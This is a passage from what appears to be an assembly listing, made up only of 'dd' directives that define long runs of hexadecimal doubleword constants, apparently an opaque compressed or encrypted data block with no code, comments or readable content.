0A02F2A0Eh, 7254858Bh, 0EF229C84h dd 7CD117C8h, 63B51C8Ah, 0AC5DB9EDh, 0B9F6FAE3h, 0BAE3A24Ah dd 0C2001330h, 0A2542E74h, 0D1750164h, 0A9A7EA0Dh, 0CBB201B1h dd 71D67ED8h, 2E23EDBDh, 0CD9C24F4h, 60EADE33h, 0C8350780h dd 9AE128B9h, 0B3B4EBE0h, 866A9471h, 0EAD051D8h, 5160AAFBh dd 1BAFAFDFh, 3B7A2E57h, 1F662195h, 497DB9B8h, 7686D1FEh dd 3A1B0108h, 4B47FA67h, 0BCEEE5B1h, 0B4369D0Bh, 102D3B0Ah dd 3FD6781Bh, 8A4F873Ah, 0C1768A85h, 0BDCD37B4h, 872B3250h dd 0B3F81355h, 23233ECAh, 2E8A3A3Fh, 0E07698E3h, 1B97B66h dd 7B54B55Fh, 941DAA5Eh, 0DAA5876Ah, 0BC8AEE31h, 73368A33h dd 0F2C97241h, 0A1F9B483h, 0EFF5A01Ch, 0DCF81724h, 0BA23A4F3h dd 0D5C976EFh, 25EC1ECFh, 0E71D6747h, 3A6462BDh, 0F12316EFh dd 0FC25ACFCh, 0C1923164h, 0EF41F206h, 0F1E75C47h, 8D711C40h dd 39070D1h, 61B6CC7Dh, 4876A90Dh, 890B9BB9h, 7A831Dh dd 4EFD9622h, 54CC04A8h, 0A2B1A739h, 0F38AC418h, 0CFF5712Ah dd 60E9F30Ah, 89A86750h dd 2DBB4B0Fh, 6F220470h, 9971CF41h, 863EE4B8h, 0FA68EE11h dd 1BB33831h, 7A48717Eh, 0F4898F0Ah, 8A925214h, 14DBA0C1h dd 8702683Ch, 3ACDA52Ch, 0CEE0F40Eh, 944CA7A5h, 759F0522h dd 784BB560h, 753E12E3h, 1543B089h, 66458C3Eh, 0EE30B855h dd 0EB881B3Fh, 0E64BA142h, 0AA9C7C6Bh, 0CA40069Dh, 34628EEh dd 0BE1AE5C7h, 67EEC94h, 79847038h, 208EB913h, 35C733E1h dd 8D3D28DEh, 0DDBD4250h, 6DFC4D4Fh, 1576D93Eh, 21CF8887h dd 4A352FE4h, 4E3478A2h, 405868A2h, 0DC414575h, 9DB62D11h dd 0ED9C759Fh, 6AC80BFEh, 977DDB09h, 5A16568Eh, 0D1E99605h dd 4BF1A7ACh, 0EF217944h, 9A69A484h, 93F22728h, 1EB1ECF0h dd 6DC604DEh, 0D2512E6Bh, 524ACD9Ah, 363141B3h, 0E6B8949Bh dd 0B1DC55ACh, 318AC2D2h, 985BF036h, 18AE913Dh, 0AB9E8D79h dd 48FCE512h, 0F2C18EDh, 0B9E5851Ah, 23A93281h, 579C762Ah dd 75FA40D9h, 69DFCAB4h, 0D3D5B6Eh, 87C7C65Bh, 2A42E9EAh dd 82D03637h, 61E8D8EEh, 46053FBBh, 0AB443AA1h, 83801540h dd 3CAF2675h, 693D0463h, 0E91AD40h, 0EED9B8A2h, 0B9FDE47Ch dd 7AD0BC4Ah, 0AA2BECE5h, 84573E2Ah, 0B977691Dh, 0ED233289h dd 7646A0F6h, 0DD93A017h, 94AB3A8Dh, 2782BE3Fh, 0F0C4B085h dd 15804470h, 0A34C4E46h, 0C62A901Bh, 43818B22h, 0F43159B0h dd 8C406E7Bh, 407BB156h, 0A2FB2A3Fh, 702A71BFh, 84481D9Ch dd 7183508Ah, 0F53B86B8h, 0E3625D60h, 0E362318h, 20249131h dd 0AEA8EF1Ch, 0D855C8E1h, 234CCC6Ch, 0AC5B419Fh, 7F235318h dd 22170680h, 0CE87C315h, 631D8BC6h, 4728B06Ah, 9EEE83DAh dd 0C086264Fh, 0A1A62B4Eh, 1BE07A5Dh, 0CF693A90h, 2908C04Ch dd 5E545741h, 8C0EE10Ch, 263AE419h, 0FAA4C9EDh, 4A7A0E1Dh dd 242E1A61h, 0D9926019h, 563D81B8h, 6C03F9F4h, 0D82E0777h dd 7708C431h, 0C1A1DD03h, 566BE0F8h, 10092024h, 21E33BB7h dd 884CECE3h, 0F2092285h, 0B81D21C9h, 0FD274A19h, 0A8538AD0h dd 7CC8A1AEh, 64496ACAh, 39ABEC19h, 7AFF40Eh, 0FE83C7FDh dd 0E37FA00Dh, 0C03E48AAh, 67FB391h, 17FA43BFh, 3B92D789h dd 49386202h, 0BBF023F1h, 982301Ah, 6C1F23Ch, 6A370814h dd 3ADE5445h, 0F9A4188Ch, 0C0ACD026h, 0A8B7C23Bh, 35E8A83Eh dd 0C7DB29B3h, 0AC137FCEh, 0A82F8846h, 0EEE609D6h, 0FCCA7C63h dd 801D0537h, 944A9AF7h, 703760B3h, 30FB64E8h, 48FE9C86h dd 5C71AE0Ah, 3A7375A5h, 8C019A30h, 4E8C0EDEh, 0AF274602h dd 46C30C89h, 0E7EF57FCh, 49B20EBh, 0BE75762Fh, 9680DF0h dd 3A658213h, 90B1417Fh, 8835C478h, 50B1452Eh, 21617CC0h dd 28002DD2h, 273A8EAAh, 0B0BAE1D9h, 8B2DA2DDh, 70CF4AF6h dd 6EE63264h, 16010FAEh, 7502FB49h, 289E883Dh, 0B2C14712h dd 9AF792EAh, 34740C23h, 16CB83B3h, 0B5518DDBh, 0C647AE52h dd 0F268DDA5h, 0D3B0474Ah, 0C03277E4h, 1738CC4Dh, 5611D222h dd 98AB8156h, 0C238CB04h, 75B46ED2h, 32000261h, 0C5F0016Fh dd 0F4164164h, 40E14F83h, 222FAAFh, 7790D3D5h, 0E98599D2h dd 2C075F4Dh, 5A6CF5C4h, 20DA35FDh, 0F5A8352Eh, 0C2830FA4h dd 98C9DE3Fh, 0E63266D7h, 4056502Dh, 29FD08D9h, 72813E50h dd 2869CA0Ah, 41B1431Fh, 7CCA1BB9h, 1943F728h, 0CA10B280h dd 0A1732871h, 79B180ECh, 5D43E750h, 0EFD7F50Dh, 46518B80h dd 1E0E8646h, 437A1971h, 0C6E1867Ch, 19FB432Fh, 894C1233h dd 0C9194919h, 19A92919h, 19196919h, 0C64279ACh, 5863136Dh dd 7C15F30Bh, 8443C53Ah, 8F1A7C29h, 0BE73B61h, 928984BEh dd 5308CC58h, 831CEC4h, 68FC0475h, 0E34C3D2Eh, 2E325C1Eh dd 1CB2FB12h, 7BE74474h, 0CBC26B75h, 42E5D731h, 0C4230F85h dd 0AA1D3ECBh, 0F9058082h, 80A8E629h, 0E647849Ah, 4C1E1305h dd 1240B6E2h, 94F35F75h, 0FE21C71Ah, 0CAF69A6Eh, 0AAAE7D6Fh dd 0A840B4CAh, 524E1533h, 0DB23C997h, 0B3000CFFh, 24A2D4B4h dd 0F581AD37h, 0A28127E4h, 95561206h, 0C160A0C8h, 712AA640h dd 146263E4h, 4E426437h, 81BF76C6h, 0C75444A9h, 1B40BF76h dd 8FF76C71h, 76CF4368h, 0F5C8C6EFh, 37684FD8h, 317EF3BEh dd 4F03646Ah, 4D4AAF42h, 3FD4D9Fh, 0EC3ED8FBh, 8CFE93CAh dd 57243FF6h, 269983C4h, 8DE93B28h, 79BA1F50h, 48528F29h dd 15657565h, 0A91850DCh, 9F4D5333h, 71797989h, 7CD590BCh dd 92953643h, 0D25AB33Bh, 5A95E9ABh, 0D3F34EEAh, 0B9439259h dd 777E4AB7h, 3BA1BC08h, 2BD246B3h, 9FE4AB93h, 0BD24A6E0h dd 0C92835E4h, 0CA8B7455h, 917BC41Fh, 0F7031C31h, 4F05B82Dh dd 0BE3AEBC7h, 45EC7074h, 0E2490AD1h, 7E47007Ah, 641F9E8Ch dd 3401F91Bh, 9AC62DE0h, 0B2A1309Ah, 2CD46B87h, 0E96B705Fh dd 0ABE34FA1h, 77079FF5h, 0C41188EAh, 4C8AA66Dh, 0F128B98Ah dd 2CFC461Eh, 1E70996Bh, 78E5FA32h, 0EF92F09Dh, 1AB858E3h dd 70C4AA1Ah, 27D0EFA9h, 78B21830h, 1C206318h, 9CB2FA48h dd 2EAF4438h, 0C5DCA28Bh, 0DDB06F59h, 9E34336Fh, 0F0AB56FCh dd 0DBE1EAE2h, 0F3AFC3Dh, 97C4277Fh, 0E21F3157h, 0E6EA9DE8h dd 0EF8225DDh, 5322BF53h, 0A5521C79h, 0E5E9A9E6h, 47A378h dd 72F96C77h, 0E5F2F414h, 8015BA6Ah, 17709931h, 5F14B595h dd 35580555h, 434AAAAFh, 7A38E52Bh, 1D09CDF6h, 0D83EBB72h dd 754FE04h, 0ABDAD554h, 3CC33E82h, 0DD5D7946h, 0D447206Eh dd 850AB93Ch, 544CA35Fh, 905E22F3h, 0F1B33525h, 2C8B1377h dd 74F8378Eh, 30B15BB4h, 0DC2F884Eh, 0BDC3763Ch, 0C0664593h dd 76ECD14Dh, 595025F9h, 0CE8DE39Ah, 0A5754F24h, 0CE12E07Ch dd 0AB8D318h, 0AC95132Ah, 336C96C2h, 0DD5FC1Bh, 8E7CD125h dd 0C8FB56F1h, 3DE3302h, 371304h, 0BB558889h, 7B859970h dd 9919A4ABh, 33BC2880h, 6DC29E0Bh, 0C748CEF0h, 0A08C8BC8h dd 5108199Ch, 5AD6848Ch, 0C84A54CCh, 0FA588851h, 6657C477h dd 6476BD2h, 1A1B3879h, 0ADF4D93Dh, 0CFF73E0Eh, 4A8EEFA4h dd 831200E1h, 1E11AFF5h, 0EB07B847h, 0F50897AEh, 0DFB3B462h dd 9A12D782h, 0A997112Fh, 0E8607B07h, 1F0A1EF8h, 68E3A52h dd 74A0EF9Eh, 0E31AFC57h, 847F1AA9h, 4DAB5F72h, 78C132E1h dd 0E22717B2h, 115295DEh, 0F922F646h, 0F937EEC2h, 4EB5C71Ah dd 664395DBh, 0E3E14E61h, 8278F1D4h, 20B5317Bh, 0F186E039h dd 4BEE5475h, 0B63B250Bh, 0E5943C4h, 89F9D24Ah, 26235D32h dd 0AC9F6E7Fh, 7482A391h, 91BB57ABh, 0E89417E8h, 0B89DE162h dd 0A8946092h, 0E52A490Ch, 34FA2F7Ah, 0DB4D9A92h, 95692328h dd 8B3DE341h, 73D3564Fh, 933D6541h, 54CCCDE8h, 0FC86BF57h dd 955356A1h, 0CD255401h, 3C6251C0h, 655A0D3Eh, 1841CCC1h dd 0A4319383h, 0A1709625h, 7FC9F61Fh, 4D00B01h, 0F4FBA7E7h dd 0D0FCCF8Bh, 15DC4982h, 47790D77h, 52149CA2h, 0FB7C612Eh dd 6AC366BAh, 23A700B2h, 0A610F14Eh, 4E91521Eh, 7BABC547h dd 0AC69C71Ch, 8E8F82A3h, 0F8CA782Bh, 0DC15E900h, 4BA957C4h dd 6F3455B5h, 0B48CF9D1h, 4E1900D5h, 739497D5h, 29A8FEEBh dd 28F14CBAh, 22AAD51Dh, 0B15089B5h, 29908388h, 1F9F6F40h dd 11367F27h, 2FA12F8Dh, 48E66B1Eh, 132A01BCh, 0D260861Ah dd 0AAF57DECh, 0F66AE598h, 9D445B19h, 41E28481h, 0F0462DB4h dd 0F468F1A8h, 3E21F1FBh, 0CDCA2F46h, 65F84D25h, 0FC0939A1h dd 0E17C6EE9h, 6017A6A1h dd 0D8D6A17Ch, 225CBCC7h, 67C5E159h, 7929131Fh, 0C66C9DE5h dd 18A8EB3Ch, 516BC031h, 8DBD8E8Ah, 0C2111CC0h, 7E2D22D7h dd 27EFDAF9h, 7046C3DFh, 0C4AE260Fh, 8A0E38E4h, 4F1130EAh dd 31E5304Ah, 4F2C10C5h, 0D650C553h, 0A9B9003h, 149EC8E7h dd 898532EAh, 11BD4570h, 315028DBh, 50C8C643h, 756F8997h dd 0FCDA5F40h, 53C810DAh, 3EC47AE1h, 0FB5F1C7Ah, 0F48254BDh dd 0B881607Ah, 8E63B8C7h, 0A9324770h, 614BC133h, 6B2A8849h dd 35418AC5h, 18854AB8h, 3DC1081Ah, 2D97A54Ah, 1D8F3F19h dd 0D4051B81h, 170203BCh, 1682153Fh, 41C9D69Fh, 4B9AEA8Ch dd 2926908Ch, 0C4E682F7h, 3B86060Dh, 34B1926h, 0E289ED03h dd 0BC074335h, 20E255A3h, 181C5DE3h, 7E54669Ch, 19463624h dd 0F0CA23B1h, 14CEC5B3h, 0C7024248h, 0A7BC34F8h, 0F214456h dd 6917C5Ch, 22884Dh, 0C92428Bh, 74C22B30h, 9190C3B5h dd 610D712h, 2DB83DF1h, 9805B1F6h, 0D5CDD22Dh, 1CD07B49h dd 10818F20h, 8041D264h, 0E0A4F430h, 65347289h, 0CDBED7D1h dd 0FBAA2686h, 0C97422F4h, 0F6841EA1h, 9E9EEA0h, 7A30EA2h dd 8F17DC75h, 26CFBD64h, 950F43A1h, 6F30A6F4h, 0ED57E97Dh dd 0EE54E2ABh, 4CA9BE22h, 97A4750Eh, 6CCAC8B9h, 0C8FF48F3h dd 0C19FB119h, 4AD2E857h, 264409Ah, 0B80652D2h, 99713749h dd 1C949B80h, 93A26612h, 77B809C6h, 0FD273E47h, 3D406E98h dd 0EB23C244h, 0F4947E01h, 0A93FAD61h, 290E0194h, 798BC257h dd 9CA939A0h, 9FE4E0FCh, 0F27F64Eh, 0F48C308h, 0D409954h dd 53E476A1h, 34B6C9FDh, 30EDD007h, 0A00EB1B5h, 74B89EDDh dd 58EE2016h, 0DC99D99h, 2D0CCB40h, 84AEC54Bh, 0FD233391h dd 0BC8619E2h, 3E13AF09h, 996A5C0h, 0FEB030E3h, 0D6F3335Eh dd 0E483A7F8h, 0F84F0A3h, 91C92814h, 8EF180B3h, 9ABCA59Ch dd 5E8B5D60h, 9FD59D6Bh, 6E83835Ah, 4B47F9F9h, 47FBA5B6h dd 0D919B6B3h, 6A7BD03h, 1704E4C3h, 7A9D9FF2h, 0DF185CEAh dd 3E2984ABh, 7F3FC343h, 30D5D4E2h, 75743DE9h, 0C344122Ah dd 0E1BD20D0h, 0ADFB8B2Fh, 0B6D47805h, 0EBF48DA5h, 0AA1C30Fh dd 4C21DF30h, 10797865h, 2387B732h, 8F839A88h, 0BB234E80h dd 3928EB30h, 0B391D01Ch, 0C4A44C4h, 0C4FFE195h, 1CA29FF7h dd 0CA007986h, 0A01B282Ah, 84E941B4h, 679428F2h, 4A02FCA0h dd 0A077942Fh, 432879Ch, 38DF08C5h, 63DCA033h, 0C770E6D3h dd 0D750ADEAh, 0D633DAC5h, 0D4294C33h, 5A5A1AEBh, 0DBAC36D6h dd 0B6C6FD8Ch, 8036D6B6h, 68D66EB5h, 84CFB174h, 0FE0A5BBAh dd 0F26F5BCEh, 0BED36057h, 0B9CCCE4Fh, 30015B09h, 0EB185048h dd 47B02Dh, 9FFD6E56h, 0BA67E3DDh, 0B5D696B2h, 2DA52D0Dh dd 8BF3E9F8h, 0E9BBCF58h, 1EF08D5Bh, 0B773D622h, 45EF4235h dd 0BE36CB7Dh, 5DD6DD6Dh, 0C6579220h, 994A5BDBh, 0CBE20C4Bh dd 6B6DAD37h, 0ECC5DB68h, 0F23595D0h, 85EBAD15h, 0C34F4696h dd 8D2DF596h, 2B89ED40h, 1F586D6Fh, 0F7FE80A3h, 0ADB2A691h dd 0FAE95D75h, 0DB8D6DF5h, 0F3CC31B6h, 3C0D7CDAh, 55C73760h dd 0A6FC2D08h, 0C6F8BB85h, 9BD5AD95h, 6A2E37D6h, 5E63686Ah dd 8D2D14A3h, 47B320B0h, 0D95E0E3Fh, 0D996837Ah, 3796B384h dd 9A5DE36Ch, 7DE9B68Ah, 6178DA9Bh, 0AECC6B7Ch, 0CCAC3EF1h dd 0F83AE37h, 0AD735FCCh, 0E72AEA58h, 0B7D7736Ch, 0FBCC30B4h dd 6DB63B71h, 85B4DB6Dh, 54CA50DFh, 0C62B5D79h, 516626E1h dd 62C977B9h, 83EB5B77h, 1BF01E5Eh, 0D69D5C99h, 0D5595040h dd 0A636C592h, 9C71A5B5h, 0FF1BF63Ch, 0A6DD7F66h, 0AC4244D9h dd 0DFFD0CBCh, 69B21941h, 0C1CFB6DFh, 50798F77h, 36508BFh dd 9DBF6FB4h, 7683DE61h, 11CE0722h, 64CA058Ah, 0B9417728h dd 9CFDCA1Bh, 0F0717566h, 1303078Fh, 0EF1918CFh, 0E37C6DAEh dd 6D717483h, 5CC08BA7h, 5BAD4599h, 30C55177h, 0C9661520h dd 772F3E16h, 0CBC656D9h, 0FE35B6B7h, 6C00FBDFh, 3045FFC6h dd 0CD35BC4Ch, 679ADD3Ah, 623EB12Dh, 0BCFAC27Dh, 61EB55F5h dd 0A0EB09EBh, 0B0EB33F5h, 9DC73E35h, 32B39E53h, 85E726A7h dd 0BCE4DF9Ch, 8E5EF39Dh, 0C7397392h, 0CDB24B60h, 856D59B4h dd 0D2AD8F36h, 675B6B56h, 6C136ADBh, 67BED98Fh, 6E3B683Bh dd 74F6D77Bh, 0E1B96BEEh, 0C53D9D5Ch, 679ECF3Eh, 695F685Fh dd 6CDF635Fh, 0F65DEDE7h, 0F6C3D99Fh, 0FB61F60Bh, 0BCF6FB75h dd 0E68DE53Fh, 0E4F7F9B1h, 943FE4E7h, 7B20BE7Fh, 0EDFCCB7Eh dd 0DFF9A5F3h, 0E22ECC72h, 0D2289E8Ah, 0BC5F982Dh, 0C557F8BFh dd 0C583C5BDh, 744E2C7Fh, 38273AA6h, 9D939DD3h, 39A73A77h dd 73EF3867h, 38E671CEh, 0E742CEEDh, 0D3A96702h, 0ACE25CE5h dd 56772E70h, 0B59C6B39h, 0EFE706CEh, 0B53A9F9Dh, 6BE03B3Fh dd 97F59F4Dh, 0EB019FB0h, 6B65EB39h, 939B0E5Ch, 0CE40F391h dd 0B6CC738Fh, 0B6D96DDBh, 0DB3CB679h, 0AD995B42h, 0DB6756DAh dd 0F36EDB68h, 7ED8F6DBh, 76DD7B60h, 336836D8h, 32B97371h dd 0E7AB82AEh, 0B8FB7236h, 72EFB9C7h, 0B8CFDC3Dh, 0E45EE57Fh dd 0EE51DCC2h, 0EE43EE7Dh, 6E47F72Ch, 7C626208h, 0D4EE726Eh dd 0DEB925DCh, 89F7295Ch, 0F6E5EFDCh, 1B9ABEE4h, 0F720FDCAh dd 734FDCE3h, 76EDD9A7h, 7D857DB7h, 6FDFEC03h, 0A1FF63DFh dd 87FB59FDh, 0C576F3F6h, 0B51EC97Eh, 0F212F2EBh, 0F3D3792Ch dd 0F3B9E666h, 0F37AF2EAh, 0E40DE74Eh, 0F257CB9Fh, 0E68FCF3Fh dd 571F917Fh, 52905090h, 0A4C15B70h, 0F50EFF82h, 46D3BFFh dd 56958000h, 56DB6B5Fh, 204E7F14h, 504CE1DFh, 0A6AA7190h dd 0B36B067Fh, 0DD24846Ch, 0E6374A1Eh, 1E690742h, 563AFB64h dd 95D94B26h, 7B1BD4E4h, 63060C18h, 1F63230h, 37A2D554h dd 257F2C72h, 8D926E4Bh, 837E998Ch, 64AF739Dh, 0EC19A43Bh dd 0DEFB3FC1h, 0F39FFE7Bh, 0C0ADD7BBh, 0EB96F869h, 0C9BE6700h dd 7C0AF5F7h, 0D4BCB2BFh, 0CAE03935h, 5E780D83h, 0D0EB706Bh dd 7EF93637h, 0EF8E61D0h, 0A39E3ADh, 2291DC07h, 0ECE613C6h dd 4F86DFBh, 0B953E0D6h, 0E055AFA3h, 0A1A6811h, 0BCB2B0FEh dd 0EE77CB2h, 8B416E7Ch, 0B2381DBBh, 1EF19F1Ch, 9E78157Ch dd 4AA3C265h, 7C996565h, 5D173CB5h, 3608EC39h, 0FB2E9A31h dd 1FA8BFAh, 0A6BAF86Bh, 0BECE5B9Ch, 59B2D8F1h, 0ACF9E7ADh dd 0CAB4CEA3h, 0F7FC617Ah, 25FC9938h, 0F309204Eh, 2EBE9070h dd 9376BA2Ch, 0A68A3471h, 0FF98CF8Dh, 0CD75AE58h, 0AE62F178h dd 8E3C5BF9h, 0A43ED2CFh, 0B6B96C39h, 462554CDh, 9530BF69h dd 26C09046h, 0CAEF66E7h, 5E0F2A6h, 2BC4E575h, 9D412743h dd 6762B38Ch, 7192C1C7h, 0AEB977D3h, 505A8D44h, 24789157h dd 0E83972D7h, 3301F0EBh, 69C77F4Ch, 0A3302EA2h, 53D976E3h dd 0A9D7D2F6h, 2F734B38h, 0B5E061C6h, 58586675h, 732B3C02h dd 4C3263F8h, 0FA14C5CEh, 0E9642983h, 34E31738h, 33CC044Ah dd 0FD0A518h, 0DF0F18F3h, 98A1C3F4h, 0E7B2DBA2h, 2E7B8B4Dh dd 157375F7h, 2878D8EAh, 0C69BAADAh, 2DB3E9B6h, 709B10CEh dd 6B8BEA1Bh, 0EB6CB20Ch, 8937F4B1h, 62774B4Fh, 60217965h dd 51F0BB69h, 8C7E5429h, 214EEFC7h, 64E2C78Bh, 0C3027978h dd 431E34F4h, 71178624h, 0B0E3C796h, 96E32D28h, 54F35369h dd 0CE39B6D5h, 0BB935184h, 1D4E834Fh, 0E6B77CB7h, 7D0B9C73h dd 64E38856h, 0A32FF610h, 0B289A310h, 0DBC5CE18h, 48E165F1h dd 0BC2AE124h, 2CD39E92h dd 0A134F30Fh, 41E3F796h, 6180F58Ch, 69A33F88h, 2334B7FEh dd 0C98360B0h, 0C1519905h, 4F492C89h, 8E6592B1h, 0BD0B4421h dd 4DB70157h, 0AEE18DAFh, 3DA53D95h, 0D7E06E4Bh, 863E45C7h dd 5B82992Dh, 56B52AD5h, 0CA37552Ah, 0E4DB46D3h, 6D936E5Bh dd 0C155BAFAh, 48F83FA2h, 0DD4A5666h, 0AE50FBBDh, 0F81BB4C9h dd 3FB45658h, 0CA57638Fh, 7B8782DDh, 0BF507AB3h, 0E1B78B31h dd 0C72C00C9h, 0A723F032h, 0DF538464h, 3CC42F0Fh, 0BCB3C721h dd 163259DBh, 3CA27CA3h, 90B6CA0h, 6A816F37h, 4B9C33FEh dd 15AEA222h, 0F055B506h, 9A8C079h, 9CF18A85h, 0B13E84E3h dd 0F5DA141Ch, 0B4F6A514h, 8B30041Bh, 45AA0D0Dh, 0FE56B342h dd 8899661Ah, 20F5E12Eh, 679786CCh, 2D2C93D8h, 4C701B7Eh dd 74238D63h, 0CE30F221h, 167969B3h, 0B7C5AB4Eh, 1EEBA14Ah dd 350AFB31h, 0D5C31335h, 0AE050118h, 410104B9h, 5A48064Fh dd 5CF1D70Dh, 0ABFC74C7h, 6A92759Ah, 5A093410h, 6D04FB04h dd 6F820382h, 0E826C08h, 48704381h, 27012DF0h, 827C08F0h dd 0C111C12Eh, 0E6EF824Bh, 0E92FD277h, 0A2191040h, 0E0453214h dd 4DF42708h, 515D484h, 6DB67A3Bh, 0F7466DD6h, 5E2C3DCEh dd 0B3FBF9D1h, 0ECC70F1h, 606F0E75h, 0E8714A28h, 41F5F092h dd 96FA9BC3h, 9C39542Ah, 53FE1545h, 0B9A35661h, 58C0C952h dd 0EA660248h, 0E171982Eh, 80E17140h, 8F4650B8h, 7C81E44Bh dd 38C0646Eh, 0BBC333E3h, 9EEB8032h, 195D30F6h, 9576EEEh dd 934EC62Ch, 0DFF724BFh, 0A83AA4Bh, 2D124B2Ah, 22166E35h dd 7F782919h, 29FAF9E1h, 8346157Dh, 902CDD29h, 0F13D908Eh dd 690DDE0h, 629BA333h, 0E08E567Ah, 48141FE4h, 8E7C61D2h dd 0FD02DED3h, 1507FDBAh, 0BC3F287Ch, 495FF957h, 39FDF597h dd 0DD4C891Ch, 2A74E270h, 91974D89h, 933F8A18h, 45F97BC9h dd 94C1243Eh, 5F23F9B3h, 0DA68CD05h, 0E4EC7CF6h, 336B52B5h dd 0F3785EDBh, 0B7CBE915h, 5295DCB8h, 94F51352h, 7015B18Eh dd 0B60E7F8Eh, 2EA28E2Dh, 801BF0BEh, 36B3EE8Fh, 7DA4D2FBh dd 0D81A5B25h, 0FD5DB469h, 2CC2C506h, 0FBCADABDh, 7A6DC3C2h dd 496CD7A6h, 0E002FFCFh, 17F39EE7h, 86EAFE51h, 71E618C2h dd 8CE1E89Bh, 0BB4A1A5Dh, 2003A5F2h, 0DBEA13FAh, 18CA6BBEh dd 63F2D62Ah, 0E77AB0F1h, 0D9F76C85h, 7DC6F9EBh, 157C3BBEh dd 161D3635h, 0C0A75182h, 33F49B54h, 1019865Eh, 0C8925B8Fh dd 0EB5176F2h, 0C896130Bh, 75423A59h, 22AFCA11h, 687443EBh dd 0BB2EB785h, 9F1D979Ah, 0FD8BAAE0h, 64352249h, 8A9A2DE0h dd 0E095F53Eh, 932FAF45h, 7BAD2E98h, 8D4FD33Fh, 601C1D02h dd 857BCEF4h, 0A784CD14h, 0A5A4E639h, 6AF03239h, 0FF4AC3A8h dd 76D0DE4Dh, 8E0BCC11h, 0A0C734E8h, 0B1E734B4h, 0FA138D65h dd 76D323A4h, 2AAE6C33h, 0CC155933h, 2DEB26AAh, 0B6449E14h dd 93C5B268h, 0F4D9086Dh, 0DB250B64h, 0A8F89F84h, 35B624ABh dd 266DD85Ch, 9BA83331h, 73BDBFAAh, 0BFB81006h, 48C28E9Bh dd 54693C24h, 96DF10A7h, 0B50F34C7h, 0F5529B8Fh, 5C1ADE73h dd 0EFAC177Ah, 83F87553h, 3F5581F6h, 0AD01AC27h, 5C1F594Bh dd 10103E05h, 438888C5h, 0EFE699C7h, 0C735614Dh, 34D0A79Dh dd 50A6C29Bh, 0DFD25C2Ch, 928C2EB1h, 0F5EAFE23h, 0E24238C1h dd 0DF86B91Dh, 850ACD82h, 0F70EED96h, 444C9D23h, 0B93EB2ADh dd 12B3B6C6h, 43DEC1FDh, 0AA0E03ECh, 0A044413Eh, 0E4BD3DB2h dd 1F537FECh, 0F6F88FC2h, 0A9DB8A78h, 8EB4359h, 0CD1108EDh dd 6FBB6546h, 6259CABFh, 88E6ABAEh, 197AC754h, 0BDD0DC0Fh dd 761CF90Ah, 553A5D07h, 9D612ADDh, 0F34E2B7Ch, 7657F38Fh dd 7942653Ch, 1C984178h, 76AD3048h, 84C09207h, 0CA298BCDh dd 6E3559FAh, 0B704EA12h, 7B2C63A3h, 0CE0C76DBh, 28A86BA2h dd 4D421F17h, 27159286h, 0B9C14C2Fh, 2E7CD8E9h, 0A19C03BFh dd 2BFDA113h, 81BDA7BCh, 6D8A408Dh, 84235B7Eh, 76D08D8Bh dd 0BF3AD184h, 3D709896h, 8317896Fh, 8965EC90h, 49EE0E94h dd 0D5CC4C40h, 0E63AE621h, 2F937048h, 0C2642E3Fh, 0F8956173h dd 0CF6C4A2Ah, 18E19EC1h, 7DB01BCCh, 0E5F645F9h, 9DD2E720h dd 0E231BC55h, 87097E6Dh, 9291EF5Dh, 787DCB1Bh, 4EF10427h dd 13807F70h, 0A4412824h, 158E71C6h, 0E789BC73h, 8F89C128h dd 0DE0EFEFBh, 32790377h, 62E64F09h, 849A068Eh, 9A9B34C6h dd 0FD0E6A23h, 0C1E10AA7h, 0D299BE1h, 227E9CBBh, 51616EB0h dd 0E30FBCF4h, 355C9AE5h, 74A88B0h, 0D0B44585h, 50B0659Ah dd 9A61A0D1h, 57EF1CC7h, 4952C35Ah, 0DE3158FBh, 9C755614h dd 0ABFC192Fh, 0A794437Eh, 2C1A3EAh, 689457B9h, 0DFE50C77h dd 542C1890h, 1EDF675Bh, 25945110h, 86E8EEDFh, 0A8CC1E8Ah dd 0CC3F0ECh, 0A66F954Fh, 0E923EE2Eh, 0F4AC7865h, 0E1F0DA2Bh dd 1B867762h, 181AB0FAh, 87DC1B51h, 0C6705D92h, 0E7527A7Bh dd 0E1F49D5Fh, 40C8EA9Eh, 0F0EE3E18h, 0A6FEB688h, 556F551h dd 94888AAFh, 0CF403F9Fh, 6A5F04D6h, 0E3437D99h, 0E17C4952h dd 0F6102EF5h, 57B464Ah, 8E78D0h, 8B72A421h, 0B111DA75h dd 807E7F08h, 3940A36h, 0EB810C4Bh, 0F762545Dh, 0C0EC9E83h dd 1533761Ch, 0EB178840h, 0CA173902h, 0A84EB896h, 3ECDEC4Eh dd 0EE8D1F29h, 0ED413022h, 0F6685F22h, 2259B519h, 0FD959B7Eh dd 19BC51E2h, 1428F173h, 0D7E9ECD9h, 0FB3714ADh, 9B3F16BEh dd 0ECC7A015h, 0D7B2FCC3h, 0ADE927DFh, 994EEC6Ah, 2C1B2AFAh dd 0E16AA248h, 0D349DF0h, 76DF22ECh, 0F321E868h, 34CE1D6Ch dd 4A484171h, 3FDB4867h, 474CCE0Eh, 0DD46F5Ch, 0A2ED6FA4h dd 0C18C7126h, 163796BBh, 0B0E97592h, 4DCC5CC2h, 24CBBCEEh dd 76314F80h, 130346B2h, 91BA89F7h, 0A6475DF4h, 74C77AFEh dd 400CB7F0h, 0EDEE7EA2h, 14FBD957h, 31889037h, 1766770Bh dd 0D67A3252h, 8A320AE5h, 2879CCBAh, 72CB8B71h, 4C5C26F2h dd 7F706F09h, 0D7A4464Eh, 6ECF1877h, 766F65CAh, 0C24BE474h dd 0F7F5392Fh, 848B53B1h, 26619CCBh, 6CCFE6A2h, 5A04D791h dd 0F83C5A7Ah, 279D947Dh, 0EA4C3274h, 77E2DA1Ch, 564B8C1Ch dd 9035C47Ch, 0A431C42h, 0E509435Ch, 0B42EA0Ah, 44D06CEAh dd 6821951h, 4E8F028Ah, 7D06C176h, 17C91424h, 0FE93604Eh dd 0B1D9A743h, 0E34B75C3h, 70690BB3h, 0ED91F0CCh, 74F1A5h dd 7DD41859h, 34BE1FEEh, 0A631C36Ch, 964F04A4h, 0AF98650Ch dd 0C4FDF2E2h, 1A34B70Bh, 8FA991BAh, 0E322621Fh, 4754CD9Ah dd 0DACF182Ch, 0E9909448h, 0E253025Eh, 0B51E53C9h, 45DE144Bh dd 1166D2EDh, 666E765Fh, 9C414EECh, 0B98A034Dh, 0F8173E6Ah dd 0D91BF083h, 0CF3B3F5h, 0CE0D6378h, 0A4D2AF28h, 0BE6CECA8h dd 9FF5C05Eh, 7A378653h, 7680F8A0h, 0C95236C3h, 2FEFCFC4h dd 0D96DADD7h, 22C9C9D8h, 1D1869D3h, 7E4D2E07h, 7BC7FF8Ch dd 